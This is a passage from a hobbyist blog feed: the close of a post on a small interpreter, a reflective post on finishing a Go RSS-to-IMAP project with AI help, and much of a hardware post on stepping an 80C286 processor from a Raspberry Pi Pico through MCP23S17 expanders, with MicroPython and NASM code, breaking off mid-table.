<p>And the <a href="https://github.com/deadlime/the-recursive-descent/blob/main/main.ml">final result</a>? In barely 500 lines, we built something that can genuinely be called a programming language (even if a fairly limited one). It actually surprised me how compact it ended up being.</p>
<p>There are still countless extension possibilities and challenges hidden in this project, but a solid foundation has been built for further experimentation. Just to mention a few natural next steps:</p>
<ul>
<li>extending error handling (so that in both <code>ParseError</code> and <code>RuntimeError</code> cases, we can point out the exact location in the original source code)</li>
<li>short-circuit evaluation for boolean expressions (if <code>a</code> in <code>a and b</code> evaluates to false, <code>b</code> doesn't need to be evaluated)</li>
<li>functions (and the inevitable problem of variable scopes that comes with them)</li>
<li>a string type, along with its operators, functions, and statements</li>
<li>lists and dictionaries</li>
</ul>
<p>With that, I'll wrap things up here. Thank you for reading.</p>
<p><code>TEOF</code></p>

]]></content:encoded>
        </item>
            <item>
            <title>28 months later</title>
            <link>https://deadlime.hu/en/2026/04/13/28-months-later/</link>
            <pubDate>Mon, 13 Apr 2026 15:42:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[AI]]></category>
                    <category><![CDATA[programming]]></category>
                    
            <guid isPermaLink="false">62be8e75d5b6ba3647100a9de0fcb3fb</guid>
            <description>Further adventures in the field of AI-assisted coding</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ai_v2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">The ChatGPT-refreshed version of the original image</p>

<p>Actually, it should be '36 months later', but I couldn't resist the weak <a href="https://en.wikipedia.org/wiki/28_Days_Later">movie</a> <a href="https://en.wikipedia.org/wiki/28_Weeks_Later">reference</a>. So, three years ago, I tried to <a href="https://deadlime.hu/en/2023/04/06/rolled-by-the-machine/">make a hobby project idea a reality with the help of AI</a>. The experiment was mostly a success, yet ultimately, it didn't produce code that I would be happy to run in production. Looking at it from that perspective, it seems the project was never really finished. Three years is a long time, and the technology has surely evolved a lot since then, so I figured it might be worth trying again.</p>
<p>Briefly about the project: it periodically reads RSS feeds, generates emails from the feed items it finds, and uploads them to an email account via IMAP.</p>
<h3>First attempt</h3>
<p>Even though this mindset is getting less fashionable these days, I still like to understand &quot;my own&quot; code that's being written. With that in mind, I started the project by writing the code myself, letting the AI teach me how to develop in Go.</p>
<p>I wanted to use as few external dependencies as possible so I could focus on getting to know the language and its standard library. Obviously, I wasn't going to reimplement an SQLite library, but for the pipeline-like architecture I had in mind, I could have used existing solutions. Instead, I chose to dive deeper into the world of Go channels, contexts, and concurrency.</p>
<p>This is a territory where an inexperienced person (me) can easily shoot themselves in the foot, and the AI, with all its enthusiasm, is more than happy to help to do exactly that. If you can get yourself thoroughly confused on your own, with AI assistance, you'll manage to confuse each other twice as badly. The AI makes you doubt yourself, and in exchange, you influence it with every little signal. In the end, you find yourself hunting for some tutorial written by a real human being, back before the AI boom.</p>
<p>As is often the case, after a while, I got bored with this educational project and put the whole thing on the back burner. I managed to get to the point where there was a working prototype, and about half of the pipeline existed in a &quot;production-ready&quot; state.</p>
<h3>Second attempt</h3>
<p>Later, when I picked up the thread again, I approached things a bit differently. I no longer wanted to learn; I just wanted to finish the project. Not because I actually needed the working program, but because I felt I could get a clearer picture of the tools by seeing something through to the end.</p>
<p>I adjusted my toolkit accordingly and carried on with Claude Code, but not with the currently fashionable &quot;let's unleash 30 agents on the problem and see what they come up with&quot; attitude. The first attempt had given me a solid enough foundation to move forward in small steps. I supervised every step and corrected things when needed, but I didn't make any meaningful changes by hand. I didn't even try running it until the very end.</p>
<p>After roughly half a day and burning through $35, I had what you could call a finished piece of software. Since I'm not a Go developer, I'm unfortunately not in a position to judge how elegant or idiomatic it is. It might not even matter that much now. Maybe people should just give up on reading through the code.</p>
<p>The end-to-end tests still caught a few potential problems (mostly around concurrency), and the dry run with real feed data uncovered a few more (overly permissive regular expressions, improper encodings), but it was nothing earth-shattering.</p>
<p>In the end, I wrote the <code>.gitlab-ci.yml</code> for GitLab CI and the <code>Dockerfile</code> for production deployment by hand because it felt like that would be faster than arguing with the AI about it.</p>
<h3>Takeaways</h3>
<h4>The output</h4>
<p>I tend to think that the more complex the topic is, the less you can trust the output (whether it's text or code). This is especially true if you are not well-versed in the given subject. Fundamentally, I consider it a good, personalized learning (or code-explaining) tool, but I have my reservations about the output.</p>
<p>The other aspect of this is how easily it gets influenced by my input. If I throw out an idea, it tends to run with it, but that doesn't make me certain that my alternative was actually the better idea, or if it's just choosing my solution out of an urge to please me.</p>
<p>Sometimes I pitch an idea as a question, like 'I wonder if this would work like this or that.' The AI, of course, responds with 'Great insight, I'll get right to implementing it.' Then it spends 10-20 minutes arguing with itself, tearing the whole project apart, clearly going nowhere, but it won't stop on its own. Eventually, I just make it stop and hit <code>git restore</code>.</p>
<h4>Workflow</h4>
<p>This is closely related to the quality of the output. My conclusion is that I wouldn't be comfortable letting it run loose and do whatever it wants. You have to catch it as early as possible when it's heading in the wrong direction, challenge its ideas, bring up alternatives (or sometimes just the right keywords). But this can only work if you have a certain level of expertise to be able to tell when things are going off track.</p>
<p>And then there's the oddity that I ended up writing the <code>.gitlab-ci.yml</code> and <code>Dockerfile</code> by hand. I don't think it happened simply because I was fed up with chatting by the end of the day and just wanted to do something. It was probably more along the lines of: if I know something well enough and I think it won't take much time, I'd rather just do it myself than spend the same amount of time (or more) telling someone else how to do it. Especially when that someone gains absolutely no benefit from doing it themselves (because, for instance, they're not capable of learning from the experience).</p>
<h4>Speed</h4>
<p>In this case, I was using it for a hobby project, so I'm in no rush. The problem isn't that it's slow. It's just that the interaction pattern is somehow awkward. It's a bit too slow to avoid getting bored, but too fast to do something meaningful during the idle time.</p>
<p>You could run multiple conversations in parallel (I haven't tried that), but I suspect neither I nor the AI is particularly good at that kind of multitasking.</p>
<h4>Cost and value</h4>
<p>Then there's the question of price. As I mentioned, I spent around $35 on this project in the second round alone. I don't know the exact cost of the first round because it was done with a monthly subscription, but my rough estimate is somewhere around $10-20.</p>
<p>I couldn't say whether that counts as a lot or a little, but when that final figure came up, my first thought was: if someone tried to sell me this finished piece of software for $35, I wouldn't buy it.</p>
<h3>Brave new world, act two</h3>
<p>So here we are, three years later. The novelty has worn off a little, and the cracks are starting to show through the peeling paint. The genie is certainly out of the bottle, but instead of an all-powerful magical being, what we got was a hyperactive junior developer. I'll leave it to everyone to draw their own conclusions based on their own situation. As for me, I still don't see clearly how our life together is going to work out.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Computer-generated dream world</title>
            <link>https://deadlime.hu/en/2026/02/22/computer-generated-dream-world/</link>
            <pubDate>Sun, 22 Feb 2026 08:59:40 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardware]]></category>
                    <category><![CDATA[Python]]></category>
                    
            <guid isPermaLink="false">1c4c4b1db7d17d00a423531f71be8cba</guid>
            <description>Virtual reality for a 286 processor</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/286.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<blockquote>
<p>What is &quot;real&quot;? How do you define &quot;real&quot;? If you're talking about what you can feel, what you can smell, taste, and see... then &quot;real&quot; is simply electrical signals interpreted by your brain.</p>
</blockquote>
<p class="text-right">&mdash; Morpheus, <a href="https://en.wikipedia.org/wiki/The_Matrix">The Matrix</a></p>
<p>If the processor is the brain of the computer, could it also be part of some kind of virtual reality? Simulated memory, software-defined peripherals, artificially generated interrupts.</p>
<p>My first computer was a 286 with 1 MB of RAM and a 50 MB HDD (if I remember correctly). So I decided to pick up a 286 processor and try to simulate the rest of the computer around it. Or at least make it to boot up and run some simple assembly code.</p>
<p>Two years ago, I ordered two (that's how many came in a package) Harris 80C286-12 processors. My memories are a bit hazy, but I believe the <code>C</code> in its name is important because these are the types that are less sensitive to clock accuracy (the <code>12</code> at the end means it likes to run at 12 MHz), and can even be stepped manually.</p>
<p>At first, I wasn't too successful with it, and the project ended up in a drawer. Then this year, I picked it up again and tried to figure out where things went wrong.</p>
<h3>Wiring up</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/plcc_parts.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>The processor fits into a PLCC-68 socket. The pins of the socket are not suitable for plugging in jumper wires directly, so the socket was mounted onto an adapter PCB with jumper-compatible headers. The pinout of both the chip and the socket is included in <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">the datasheet</a>, but the adapter PCB complicates things a bit, so I created a small conversion table to make my life easier.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/80286_pinout.png" width="590" height="777" alt="" title="" loading="lazy" />
</p>

<p>The table also helped identify the various inputs and outputs, which would later be useful when connecting to the Raspberry Pi. As you can see, no fewer than 57 pins are required, which is more than the Pi can provide. The MCP23S17 IO expander came to the rescue. While it wouldn't allow us to drive the processor at the breakneck speed of the supported 12 MHz, fortunately, that's not our goal.</p>
<p>The chip contains 16 IO pins, so we'll need four of them. Although each pin can individually be configured as input or output, I tried to group them logically. The expander has side A and side B, each with 8 pins, and the final result looked like this:</p>
<pre class="ascii"><code>         ┌───┬──┬───┐      
         ┤   └──┘   ├      
         ┤          ├      
         ┤   FLAG   ├ ERROR
         ┤          ├ BUSY 
         ┤ ADDR:100 ├ INTR 
   READY ┤          ├ NMI  
   RESET ┤B        A├ PEREQ
     CLK ┤          ├ HOLD 
         └──────────┘      
         ┌───┬──┬───┐      
    HLDA ┤   └──┘   ├ A23  
COD/INTA ┤          ├ A22  
    M/IO ┤   MISC   ├ A21  
    LOCK ┤          ├ A20  
     BHE ┤ ADDR:011 ├ A19  
      S1 ┤          ├ A18  
      S0 ┤B        A├ A17  
   PEACK ┤          ├ A16  
         └──────────┘      
         ┌───┬──┬───┐      
      A8 ┤   └──┘   ├ A7   
      A9 ┤          ├ A6   
     A10 ┤   ADDR   ├ A5   
     A11 ┤          ├ A4   
     A12 ┤ ADDR:010 ├ A3   
     A13 ┤          ├ A2   
     A14 ┤B        A├ A1   
     A15 ┤          ├ A0   
         └──────────┘      
         ┌───┬──┬───┐      
      D8 ┤   └──┘   ├ D7   
      D9 ┤          ├ D6   
     D10 ┤   DATA   ├ D5   
     D11 ┤          ├ D4   
     D12 ┤ ADDR:001 ├ D3   
     D13 ┤          ├ D2   
     D14 ┤B        A├ D1   
     D15 ┤          ├ D0   
         └──────────┘      
</code></pre>
<p>The Pi communicates with the expanders over SPI. Several solutions exist for this. I chose the one where all chips are active simultaneously, and the Pi is sending them messages by their hardware address.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/MCP23S17_breadboard.png" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>The RESET pin (wired with the purple cable) does not need to be controlled by the Pi in this case, but during one of the debugging sessions, I tried it in the hopes that it would help, and it remained that way. Now we just need to connect everything with a truckload of jumper wires, and we could move on to programming.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/cpu_assembled.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<h3>IO Expansion</h3>
<p>We only need a relatively small portion of the MCP23S17’s capabilities. We just have to configure the direction of the IO pins and read/write the relevant registers. Configuration is done by modifying register values. First, we need to enable the use of hardware addressing. By default, all chips have the address <code>000</code>, so if we send a register modification to that address (setting the <code>HAEN</code> bit in the <code>IOCON</code> register), hardware addressing will be enabled simultaneously on all four chips.</p>
<p>After a few hours (days) of head-scratching, it turned out that this alone is not necessarily sufficient for proper operation. We also need to send the same message to the configured hardware address itself to enable hardware addressing (rather odd, I know). So if, for example, we set the hardware address to <code>101</code>, we must resend the original register modification message previously sent to <code>000</code> to <code>101</code> as well.</p>
<p>Now that hardware addressing is sorted out, we need to set the <code>IODIRA</code> and <code>IODIRB</code> registers of each chip to the appropriate direction. Because of our grouping, we can configure an entire side at once for reading (<code>11111111</code>) or writing (<code>00000000</code>). Further details can be found in <a href="https://deadlime.hu/uploads/2026/MCP23017_datasheet.pdf">the chip's datasheet</a>.</p>
<p>Originally, I started working with a Pi Zero, but eventually settled on a Pi Pico running MicroPython. To manage the expander chips, I created the following small class:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MCP23S17</span>:</span>
    IODIRA = <span class="hljs-number">0x00</span>
    IODIRB = <span class="hljs-number">0x01</span>
    IOCON = <span class="hljs-number">0x0B</span>
    GPIOA = <span class="hljs-number">0x12</span>
    GPIOB = <span class="hljs-number">0x13</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self, address, spi, cs)</span>:</span>
        self.__address = address
        self.__spi = spi
        self.__cs = cs

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init</span><span class="hljs-params">(self)</span>:</span>
        self.__writeRegister(<span class="hljs-number">0b01000000</span>, self.IOCON, <span class="hljs-number">0b00001000</span>)
        self.writeRegister(self.IOCON, <span class="hljs-number">0b00001000</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">writeRegister</span><span class="hljs-params">(self, reg, value)</span>:</span>
        self.__writeRegister(self.__address, reg, value)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">readRegister</span><span class="hljs-params">(self, reg)</span>:</span>
        tx = bytearray([self.__address | <span class="hljs-number">1</span>, reg, <span class="hljs-number">0</span>])
        rx = bytearray(<span class="hljs-number">3</span>)
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write_readinto(tx, rx)
        self.__cs.value(<span class="hljs-number">1</span>)
        <span class="hljs-keyword">return</span> rx[<span class="hljs-number">2</span>]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__writeRegister</span><span class="hljs-params">(self, address, reg, value)</span>:</span>
        self.__cs.value(<span class="hljs-number">0</span>)
        self.__spi.write(bytes([address, reg, value]))
        self.__cs.value(<span class="hljs-number">1</span>)
</code></pre>
<p>In <code>init</code>, you can clearly see that we set the value of the <code>IOCON</code> register twice. We can use the class as follows to communicate with the processor:</p>
<pre><code class="hljs python">spi = SPI(<span class="hljs-number">0</span>, baudrate=<span class="hljs-number">1000000</span>, sck=Pin(<span class="hljs-number">2</span>), mosi=Pin(<span class="hljs-number">3</span>), miso=Pin(<span class="hljs-number">4</span>))
cs = Pin(<span class="hljs-number">5</span>, mode=Pin.OUT, value=<span class="hljs-number">1</span>)
rst = Pin(<span class="hljs-number">6</span>, mode=Pin.OUT, value=<span class="hljs-number">0</span>)

chip_data = MCP23S17(<span class="hljs-number">0b01000010</span>, spi, cs)
chip_addr = MCP23S17(<span class="hljs-number">0b01000100</span>, spi, cs)
chip_misc = MCP23S17(<span class="hljs-number">0b01000110</span>, spi, cs)
chip_flag = MCP23S17(<span class="hljs-number">0b01001000</span>, spi, cs)

rst.value(<span class="hljs-number">1</span>)

chip_data.init()
chip_addr.init()
chip_misc.init()
chip_flag.init()

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_addr.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_addr.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_misc.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xff</span>)
chip_misc.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xff</span>)

chip_flag.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_flag.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
</code></pre>
<p>At first, I missed the <code>init</code> calls here and was surprised when nothing worked. Most of the pins are configured for reading; only the flags need to be set to writing.</p>
<h3>The Initial State</h3>
<p>Before we can do anything, we need to RESET the processor. For this, the RESET flag must be held active for at least 16 clock cycles, and switching it on and off must be synchronized with the clock flag. First, I created a few constants for the flags to make life easier:</p>
<pre><code class="hljs python"><span class="hljs-comment"># chip_flag GPIOA</span>
FLAG_ERROR = <span class="hljs-number">0x20</span>
FLAG_BUSY  = <span class="hljs-number">0x10</span>
FLAG_INTR  = <span class="hljs-number">0x08</span>
FLAG_NMI   = <span class="hljs-number">0x04</span>
FLAG_PEREQ = <span class="hljs-number">0x02</span>
FLAG_HOLD  = <span class="hljs-number">0x01</span>

<span class="hljs-comment"># chip_flag GPIOB</span>
FLAG_CLK   = <span class="hljs-number">0x80</span>
FLAG_RESET = <span class="hljs-number">0x40</span>
FLAG_READY = <span class="hljs-number">0x20</span>

<span class="hljs-comment"># chip_misc GPIOB</span>
FLAG_PEACK    = <span class="hljs-number">0x80</span>
FLAG_S0       = <span class="hljs-number">0x40</span>
FLAG_S1       = <span class="hljs-number">0x20</span>
FLAG_BHE      = <span class="hljs-number">0x10</span>
FLAG_LOCK     = <span class="hljs-number">0x08</span>
FLAG_M_IO     = <span class="hljs-number">0x04</span>
FLAG_COD_INTA = <span class="hljs-number">0x02</span>
FLAG_HLDA     = <span class="hljs-number">0x01</span>
</code></pre>
<p>It's worth comparing this with the earlier MCP23S17 pin mapping. We treat each group of 8 pins as 8 bits / 1 byte of data. For example, in the byte from the 'misc' chip's <code>GPIOB</code> side, the <code>HLDA</code> flag is the least significant bit, while <code>PEACK</code> is the most significant.</p>
<pre class="ascii"><code>PEACK
↓
10100111
       ↑
    HLDA
</code></pre>
<p>With the flags in place, we can perform the RESET:</p>
<pre><code class="hljs python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">17</span>):
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_RESET)
    time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<p>The sleep intervals were chosen more or less arbitrarily; we don't have to adhere to any strict timing. During RESET, the processor must enter a defined state. We can verify this with the following piece of code:</p>
<pre><code class="hljs python">data = chip_addr.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A7-0:   '</span> + str(bin(data)))
data = chip_addr.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'A15-8:  '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOA)
print(<span class="hljs-string">'A23-16: '</span> + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOB)
print(<span class="hljs-string">'PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: '</span> + str(bin(data)))
</code></pre>
<p>The values we expect to see look like this:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>Strangely enough, I was greeted with the following instead:</p>
<pre class="console"><code>A7-0:   0b11111111
A15-8:  0b11111000
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
</code></pre>
<p>It was hard not to notice that the values in the second and fourth lines were identical. I checked all the connections, disassembled everything, debugged with LEDs to ensure the values I wrote were going to the right places, replaced the chip assigned to the A15-8 pins, swapped the processor for the spare, reread the code a thousand times, but nothing helped.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/led_debug.jpg" width="660" height="840" alt="" title="" loading="lazy" />
</p>

<p>Then I found that hardware addressing trick mentioned earlier with the MCP23S17, and everything started to work like magic. The point is, if everything went well, we can release the RESET flag, and the boot process can begin.</p>
<pre><code class="hljs python">chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)
</code></pre>
<h3>Initialization</h3>
<p>After this, within 50 clock cycles, the processor must begin to read the first instruction to execute from address <code>0xFFFFF0</code>. The <code>COD/INTA</code>, <code>M/IO</code>, <code>S0</code>, and <code>S1</code> flags determine what the processor intends to do.</p>
<table>
<tr>
  <th><code>COD/INTA</code></th>
  <th><code>M/IO</code></th>
  <th><code>S0</code></th>
  <th><code>S1</code></th>
  <th>Bus cycle</th>
</tr>
<tr>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>0</td>
  <td>Interrupt acknowledge</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>halt / shutdown</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory data read</td>
</tr>
<tr>
  <td>0</td>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>Memory data write</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>0</td>
  <td>1</td>
  <td>I/O read</td>
</tr>
<tr>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>0</td>
  <td>I/O write</td>
</tr>
<tr>
  <td>1</td>
  <td>1</td>
  <td>0</td>
  <td>1</td>
  <td>Memory instruction read</td>
</tr>
</table>
<p>I left out the less interesting ones from the table; they can be viewed in <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">the datasheet</a>. For our small test, we'll only need these four:</p>
<ul>
<li>halt / shutdown</li>
<li>memory data write</li>
<li>memory data read</li>
<li>memory instruction read</li>
</ul>
<p>So we start sending clock signals and wait until we reach the first 'Memory instruction read':</p>
<pre><code class="hljs python">cycle = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    print(<span class="hljs-string">f'#<span class="hljs-subst">{cycle}</span>'</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
    time.sleep(<span class="hljs-number">0.001</span>)
    chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
    time.sleep(<span class="hljs-number">0.001</span>)

    data = chip_misc.readRegister(MCP23S17.GPIOB)
    PEACK = data &amp; FLAG_PEACK
    S0 = data &amp; FLAG_S0
    S1 = data &amp; FLAG_S1
    BHE = data &amp; FLAG_BHE
    LOCK = data &amp; FLAG_LOCK
    M_IO = data &amp; FLAG_M_IO
    COD_INTA = data &amp; FLAG_COD_INTA
    HLDA = data &amp; FLAG_HLDA

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'halt / shutdown'</span>)
        sys.exit(<span class="hljs-number">0</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory data read'</span>)
    <span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> S1 <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S0:
        print(<span class="hljs-string">'Memory data write'</span>)
    <span class="hljs-keyword">elif</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
        print(<span class="hljs-string">'Memory instruction read'</span>)

    time.sleep(<span class="hljs-number">0.01</span>)
    cycle += <span class="hljs-number">1</span>
</code></pre>
<p>When we arrive successfully, we can start sending, say, NOP (<code>0x90</code>) instructions. We set the data bus to write mode, put the NOP instruction on it, send a clock signal, then set the data bus back to read mode.</p>
<pre><code class="hljs python">chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
chip_data.writeRegister(MCP23S17.GPIOA, <span class="hljs-number">0x90</span>)
chip_data.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0x90</span>)

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
<h3>Complex Mathematical Operations</h3>
<p>That's all well and good, but let's look at something more interesting. Something that requires both reading and writing memory. A simple little program that reads two numbers from memory, adds them, and writes the result back to memory.</p>
<p>Since we start very close to the end of memory (<code>0xFFFFF0</code>), we don't have much room, so first we need to jump elsewhere.</p>
<pre class="file"><code>reset.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0xfff0</span>

<span class="hljs-symbol">jmp</span> <span class="hljs-number">0x0000</span>:<span class="hljs-number">0x0500</span>
</code></pre>
<p>Then comes the addition:</p>
<pre class="file"><code>add.asm
</code></pre>
<pre><code class="hljs armasm">[cpu <span class="hljs-number">286</span>]
<span class="hljs-symbol">org</span> <span class="hljs-number">0x0500</span>

<span class="hljs-symbol">xor</span>  ax, ax
<span class="hljs-keyword">mov </span> ds, ax

<span class="hljs-keyword">mov </span> ax, [num1]
<span class="hljs-keyword">add </span> ax, [num2]
<span class="hljs-keyword">mov </span> [result], ax

<span class="hljs-symbol">hlt</span>

<span class="hljs-comment">; Data</span>
<span class="hljs-symbol">num1</span>    dw <span class="hljs-number">0x1234</span>
<span class="hljs-symbol">num2</span>    dw <span class="hljs-number">0x000a</span>
<span class="hljs-symbol">result</span>  dw <span class="hljs-number">0x0000</span>
</code></pre>
<p>Using the <code>nasm</code> program, we can also generate a binary from it:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> nasm reset.asm</span>
<span class="hljs-meta">$</span><span class="bash"> nasm add.asm</span>
</code></pre>
<p>Then, with a short Python script, we can convert it into a Python-friendly format so we can load it into our virtual memory:</p>
<pre class="file"><code>hex_dump.py
</code></pre>
<pre><code class="hljs python"><span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
    data = f.read()
hex_values = <span class="hljs-string">", "</span>.join(<span class="hljs-string">f"0x<span class="hljs-subst">{byte:<span class="hljs-number">02</span>x}</span>"</span> <span class="hljs-keyword">for</span> byte <span class="hljs-keyword">in</span> data)
print(<span class="hljs-string">f"[<span class="hljs-subst">{hex_values}</span>]"</span>)
</code></pre>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> python hex_dump.py reset</span>
[0xea, 0x00, 0x05, 0x00, 0x00]
<span class="hljs-meta">$</span><span class="bash"> python hex_dump.py add</span>
[0x31, 0xc0, 0x8e, 0xd8, 0xa1, 0x0f, 0x05, 0x03, 0x06, 0x11, 0x05, 0xa3, 0x13, 0x05, 0xf4, 0x34, 0x12, 0x0a, 0x00, 0x00, 0x00]
</code></pre>
<p>To simulate memory, I put together the following small class:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Memory</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.__data = {}

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load</span><span class="hljs-params">(self, base, data)</span>:</span>
        <span class="hljs-keyword">for</span> i, b <span class="hljs-keyword">in</span> enumerate(data):
            self.__data[base + i] = b

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__getitem__</span><span class="hljs-params">(self, address)</span>:</span>
        <span class="hljs-keyword">return</span> self.__data.get(address, <span class="hljs-number">0x00</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__setitem__</span><span class="hljs-params">(self, address, value)</span>:</span>
        self.__data[address] = value &amp; <span class="hljs-number">0xFF</span>
</code></pre>
<p>It's just a simple dict with a helper function that allows us to load data into arbitrary addresses. Which we then do with the code generated by <code>nasm</code>:</p>
<pre><code class="hljs python">MEMORY = Memory()
MEMORY.load(<span class="hljs-number">0x000500</span>, [
    <span class="hljs-number">0x31</span>, <span class="hljs-number">0xc0</span>,
    <span class="hljs-number">0x8e</span>, <span class="hljs-number">0xd8</span>,
    <span class="hljs-number">0xa1</span>, <span class="hljs-number">0x0f</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0x03</span>, <span class="hljs-number">0x06</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xa3</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0x05</span>,
    <span class="hljs-number">0xf4</span>,
    <span class="hljs-number">0x34</span>, <span class="hljs-number">0x12</span>,
    <span class="hljs-number">0x0a</span>, <span class="hljs-number">0x00</span>,
    <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
MEMORY.load(<span class="hljs-number">0xfffff0</span>, [
    <span class="hljs-number">0xea</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>
])
</code></pre>
<p>All that remains is to handle the cases. But first, we need to talk about the <code>BHE</code> flag and the <code>A0</code> pin.</p>
<table>
  <tr>
    <th><code>BHE</code></th>
